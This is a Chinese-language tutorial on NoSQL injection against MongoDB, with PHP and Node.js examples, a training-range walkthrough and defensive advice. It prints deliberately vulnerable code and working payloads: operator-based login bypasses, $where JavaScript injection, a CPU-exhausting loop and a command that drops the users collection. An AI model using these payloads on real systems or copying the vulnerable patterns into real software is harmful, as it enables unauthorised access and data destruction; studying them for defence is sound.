NOSQL 注入


冷門知識 — NoSQL注入知多少

研究起因

接觸NoSQL已經近兩年了,最近在研究NoSQL注入,寫下這篇文章輸出我的一些沉淀。翻閱NoSQL注入資料發現這方面的文章很少,尤其是中文資料,又去搜一下MongoDB相關的漏洞,大約300多條記錄,絕大多數是「未授權訪問」,NoSQL注入寥寥無幾。這就更激發我想寫出點東西幫助更多人了解它。鏡像站參考鏈接:

https://wooyun.shuimugan.com/

文章均用我最熟悉的MongoDB作為例子。

 

一點NoSQL注入的概念

基本概念還是相當重要的,來看下owasp對NoSQL注入的描述。

NoSQL數據庫提供比傳統SQL數據庫更寬松的一致性限制。 通過減少關系約束和一致性檢查,NoSQL數據庫提供了更好的性能和擴展性。 然而,即使這些數據庫沒有使用傳統的SQL語法,它們仍然可能很容易的受到注入攻擊。 由於這些NoSQL注入攻擊可以在程序語言中執行,而不是在聲明式 SQL語言中執行,所以潛在影響要大於傳統SQL注入。

NoSQL數據庫的調用是使用應用程序的編程語言編寫的,過濾掉常見的HTML特殊字符,如<>&;不會阻止針對NoSQL的攻擊。

 

NoSQL注入分類

我找到了兩種NoSQL注入分類的分類方式,第一種是按照語言的分類:PHP數組注入,js注入和mongo shell拼接注入等等。

第二種是按照攻擊機制分類:重言式,聯合查詢,JavaScript注入等等,這種分類方式很像SQL注入的分類方式。

我們詳細討論下第二種分類方式:

1) 重言式

又稱為永真式,此類攻擊是在條件語句中注入代碼,使生成的表達式判定結果永遠為真,從而繞過認證或訪問機制。

2) 聯合查詢

聯合查詢是一種眾所周知的SQL注入技術,攻擊者利用一個脆弱的參數去改變給定查詢返回的數據集。聯合查詢最常用的用法是繞過認證頁面獲取數據。

3) JavaScript注入

這是一種新的漏洞,由允許執行數據內容中JavaScript的NoSQL數據庫引入的。JavaScript使在數據引擎進行復雜事務和查詢成為可能。傳遞不干凈的用戶輸入到這些查詢中可以注入任意JavaScript代碼,這會導致非法的數據獲取或篡改。

 

PHP中的NoSQL注入

在我搜集NoSQL注入的時候發現了一個叫NoSQLInjectionAttackDemo的Github repo,感謝前輩的辛苦研究,給我提供了很寶貴的資料,我基於這個項目分析PHP中的NoSQL注入。

1) 重言式注入

<?php
$m = new MongoClient();
$db = $m->test;
$collection = $db->users;
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']

); 
$cursor = $collection->find($data);
$count = $cursor->count();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if($count >0 ){
echo $doc_succeed->saveHTML();
foreach ($cursor as $user){
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo $doc_failed->saveHTML();
}

這段代碼有點年代,我試圖運行的時候發現,這個MongoDB driver已經不推薦使用了。

為了文章的實用性,我用最新的MongoDB driver重構了這段代碼。

<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']

); 
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

很簡單,就是一個登錄的后端處理代碼,正常情況下,輸入正確的用戶名和密碼我們可以看到登錄成功的頁面,輸入錯誤的看到登錄失敗的頁面。

我們正常登錄來詳細看一下程序的數據流,假設用戶名:xiaoming 密碼:xiaoming123

我們從代碼中可以看出,這里對用戶輸入沒有做任何校驗,那么我們可以通過構造一個永真的條件就可以完成NoSQL注入。MongoDB基礎我在本文不再贅述,直接構造payload:username[$ne]=1&password[$ne]=1的payload.

注入成功,看數據流:

對於PHP本身的特性而言,由於其松散的數組特性,導致如果我們輸入value=1那么,也就是輸入了一個value的值為1的數據。如果輸入value[$ne]=1也就意味着value=array($ne=>1),在MongoDB中,原來的一個單個目標的查詢變成了條件查詢。同樣的,我們也可以使用username[$gt]=&password[$gt]=作為payload進行攻擊。

2) NoSQL聯合查詢注入

我們都知道在SQL時代拼接字符串容易造成SQL注入,NoSQL也有類似問題,但是現在無論是PHP的MongoDB driver還是node.js的mongoose都要求查詢條件必須是一個數組或者對象了,因此簡單看一下就好。

string query ="{ username: '" + post_username + "', password: '" + post_password + "' }"

payload:

username=tolkien', $or: [ {}, { 'a':'a&password=' } ]

3) JavaScript注入

* $where操作符

在MongoDB中 $where操作符是可以執行JavaScript語句的,在MongoDB 2.4之前,通過$where操作符使用map-reduce、group命令可以訪問到mongo shell中的全局函數和屬性,如db,看到這里,如果你有在生產環境中使用MongoDB 2.4之前的MongoDB版本,趕快放下手里的事情去升級吧。

我們繼續用代碼說話,后面的代碼我將直接使用新版MongoDB driver作為示例。

<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$query_body =array(
'$where'=>"
function q() {
var username = ".$_REQUEST["username"].";
var password = ".$_REQUEST["password"].";if(username == 'admin'&&password == '123456') return true; else{ return false;}}
"); 
$query = new MongoDB\Driver\Query($query_body);
$cursor = $manager->executeQuery('test.users', $query)->toArray();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

還是那個登錄,這次我們指定了用戶名和密碼,假設我們不知道用戶名和密碼,使用payload:username=1&password=1;return true;進行注入攻擊。

注入成功,繼續看數據流:

對於這個$where操作符注入還有一個好玩的payload 。

username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();

這個payload可以讓MongoDB所在服務器CPU瞬間飆升,持續5秒。

注意docker進程的cpu占用變化

* 使用Command方法構成注入

MongoDB driver一般都提供直接執行shell命令的方法,這些方式一般是不推薦使用的,但難免有人為了實現一些復雜的查詢去使用,在php官網中就已經友情提醒了不要這樣使用:

<?php
$m = new MongoDB\Driver\Manager;
// Don't do this!!!
$username = $_GET['field']; 
// $username is set to "'); db.users.drop(); print('"$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );?>

但是我實在不知道有人會用print干什么,(為了記日志?)繼續搜索,直到我看到了有人喜歡用Command去實現Mongo的distinct方法,於是照貓畫虎構建了這樣的例子。

<?php
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

這個就危險太多了,就相當於把mongo shell開放給用戶了,你基本可以構建任何mongo shell可以執行的payload了,如果當前應用連接數據庫的權限恰好很高,我們能干的事情更多。如構建

payload:username=2′});db.users.drop();db.user.find({‘username’:’2

整個users collection都不見了。繼續看數據流:

但我們也同時發現,構建這樣的payload是有一定難度的,需要我們對MongoDB,JavaScript和業務都有足夠的了解,這也是NoSQL注入的局限性。類似的操作還有mapReduce,那個更復雜一些,但原理類似,我就不再舉例子了。

至此,幾種常見的NoSQL注入已經用PHP語言解釋完了,那么對於和MongoDB天生般配的JavaScript有沒有類似問題呢?

 

Node.js中的NoSQL注入

PHP是第一次寫,到了JavaScript這里就到了我熟悉的領域了。我們繼續看代碼。

var express = require('express'); var mongoose = require('mongoose'); var bodyParser = require('body-parser'); mongoose.connect('mongodb://localhost/test', { useMongoClient: true }); var UserSchema = new mongoose.Schema({ name: String, username: String, password: String }); var User = mongoose.model('users', UserSchema); var app = express(); app.set('views', __dirname); app.set('view engine', 'jade'); app.get('/', function(req, res) { res.render('index', {}); }); app.use(bodyParser.json()); app.post('/', function(req, res) { console.log(req.body) User.findOne({username: req.body.username, password: req.body.password}, function (err, user) { console.log(user) if (err) { return res.render('index', {message: err.message}); } if (!user) { return res.render('index', {message: 'Sorry!'}); }  return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); }); var server = app.listen(49090, function () { console.log('listening on port %d', server.address().port); });

和PHP類似,構建這樣的payload:

POST http://127.0.0.1:49090/ HTTP/1.1Content-Type: application/json{ "username": {"$ne": null},"password": {"$ne": null}}

注入成功登陸系統。

從例子可以看出JavaScript的注入方式和PHP的類似,剩下的注入形式和其他語言的實現方式我就不一一列舉了,大家有興趣去寫寫漏洞,既能了解漏洞產生原理也能在開發過程中避免類似問題。

 

NoSQL注入靶場

為了讓大家對NoSQL注入都有所了解,某運營小姐姐提議我寫個靶場,當然因為這個靶場不只是NoSQL注入,還組合了很多好玩的且程序員容易忽略的點,我也受益匪淺,有興趣的可以先去靶場試試。

靶場鏈接:

https://pockr.org/bug-environment/detail?environment_no=env_75b82b98ffedbe0035

整個代碼用我比較熟悉的node.js+angular2實現,模擬一個需要用工號驗證注冊的內部系統,注冊后可以查看和管理服務器,我把其中和NoSQL注入相關的拿出來說一下。

1)工號注冊繞過

來看用戶注冊部分的代碼:

function create(userParam) {
var deferred = Q.defer(); console.log('userParam.jobnumber',userParam.jobnumber);  // validation if(userParam.username =="admin"){ deferred.reject('用戶名 admin 不允許注冊'); } db.jobNumbers.findOne( { jobNumber: userParam.jobnumber }, function (err, user) { if (err) deferred.reject(err.name + ': ' + err.message);console.log('user',user); if (!user) {// jobnumber already existsdeferred.reject('工號 "' + userParam.jobnumber + '"不存在'); } else { const jobNumberArray=['puokr001','puokr002','puokr003','puokr004','puokr005','puokr006','puokr007','puokr008','puokr009','puokr010','puokr011',]; if(jobNumberArray.indexOf(userParam.jobnumber)>=0){ deferred.reject('工號 "' + userParam.jobnumber + '"已被注冊'); } db.users.findOne( { username: userParam.username }, function (err, user) { if (err) deferred.reject(err.name + ': ' + err.message); if (user) {// username already existsdeferred.reject('用戶名 "' + userParam.username + '" 已存在'); } else { createUser(); } }); } });function createUser() { // set user object to userParam without the cleartext password var user = _.omit(userParam, ['password','jobnumber']); // add hashed password to user object user.hash = bcrypt.hashSync(userParam.password, 10); db.users.insert( user, function (err, doc) { if (err) deferred.reject(err.name + ': ' + err.message); deferred.resolve(); }); createOwnServer(); }

主要問題在這段代碼中

db.jobNumbers.findOne(
{ jobNumber: userParam.jobnumber },function (err, user) {...})

由於userParam.jobnumber沒有做任何校驗,我們直接構建payload繞過工號校驗直接注冊:

{"username": "test","password": "111111","jobnumber": {"$ne": null} }

注冊后直接登錄系統,即可看到服務器列表。

2)越權查看管理員服務器

這是第二個注入點,在登錄進去后的服務器列表頁面中其實給了相應的提示:你負責的測試服務器都會在這里展示,生產服務器請聯系管理員獲取,也就是說我們是看不到管理員服務器的,但他們應該在數據庫中。

在前端console中,我故意打出了這樣的數據結構(console中直接打印出數據結構也是程序員經常疏忽的點):

從中可以看出服務器的owner是以數組的形式存的。然后我們為了過濾掉admin服務器,只顯示自己的和public服務器,用了$where語句,並使用JavaScript語句進行過濾,比較常見的過濾方式是判斷字符串的indexOf。那么我們嘗試閉合indexOf,構造payload,這一步確實要對MongoDB和JavaScript都比較了解才能做出。

還是一臉懵逼?直接看代碼吧:

function getServers(username){
var deferred = Q.defer(); db.servers.find({$where:"function(){return ((this.owners.indexOf('admin')<0 && this.owners.indexOf('"+username+"')>=0))|| this.owners.indexOf('public')>=0 }" }).toArray( function (err, servers) { if (err) deferred.reject(err.name + ': ' + err.message);console.log(servers); deferred.resolve(servers); }); return deferred.promise; }

同樣的,username沒有進行任何校驗,看着代碼構造payload,該閉合的閉合,保證JavaScript不報錯還要和admin有關,構造條件讓查詢條件中包含admin且為真。

payload:')>0|| this.owners.indexOf('admin

靶場上線一段時間后,”summ3rf”同學給了我這樣的一個思路:

payload:

"username":"summ3rf)))});//"

這樣就即全部閉合了前面的代碼,又不用考慮閉合后面的代碼,感謝”summ3rf”同學,如果你能看到這篇文章,可以聯系我共同探討注入姿勢~

完整靶場Writeup:靶場 | 沖雲破霧冷門拖庫Writeup

 

如何防止NoSQL注入

從注入原理上看NoSQL注入的防護也很簡單,思路也和SQL注入類似,我們只需要控制輸入,禁止使用危險的操作就可以基本避免NoSQL注入。

比如上面那個php例子

$data = array('username' => $_REQUEST['username'],'password' => $_REQUEST['password'] ); 

通過參數過濾就可以避免。

$data = array('username' => filter_var($_REQUEST['username']),'password' => filter_var($_REQUEST['password']) ); 

對於JavaScript注入,$where 和Commend方法能不用就盡量不要用了,如果必須用的話一定要限制輸入或者把要執行的內容寫成JavaScript function通過參數的方式傳進去。

<?php$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command'eval'=> "function(username){db.users.distinct('username',{'username':' + username + '})}",
'args' => $username,
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}

還有還有,不要輕易打開一些MongoDB相關的REST API,防止跨站請求偽造,給應用最小權限,不要存在未授權訪問用戶……(去年發生的MongoDB勒索事件還記憶猶新……)

一份官方的security-checklist提供給大家參考:

https://docs.mongodb.com/manual/administration/security-checklist/

 

尾巴

這篇文從代碼層解釋了一下NoSQL是如何形成的,還比較淺顯,研究並沒有結束,今后也許會研究如何穩定利用NoSQL注入,從驅動層解釋NoSQL的形成,以及分享靶場搭建的腦洞和技術思路。感謝各位大牛、我的朋友們和破殼漏洞社區對我的支持。

示例代碼和靶場代碼均已上傳至Github:

https://github.com/bibotai/research_of_nosql_injection

 

參考

[1] NoSQL注入的分析和緩解

http://www.yunweipai.com/archives/14084.html

[2] NoSQL Injection in MongoDB

https://zanon.io/posts/nosql-injection-in-mongodb

[3] Testing for NoSQL injection

https://www.owasp.org/index.php/Testing_for_NoSQL_injection

[4] 一個有趣的實例讓NoSQL注入不再神秘

http://www.freebuf.com/articles/database/95314.html

[5] HACKING NODEJS AND MONGODB

https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html

[6] PHP Manaul for MongoDB: Script Injection Attacks

http://docs.php.net/manual/en/mongodb.security.script_injection.php

[7] No SQL! no injection? A talk on the state of NoSQL security

https://www.research.ibm.com/haifa/Workshops/security2015/present/Aviv_NoSQL-NoInjection.pdf

[8] GitHub:youngyangyang04/NoSQLInjectionAttackDemo

https://github.com/youngyangyang04/NoSQLInjectionAttackDemo


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM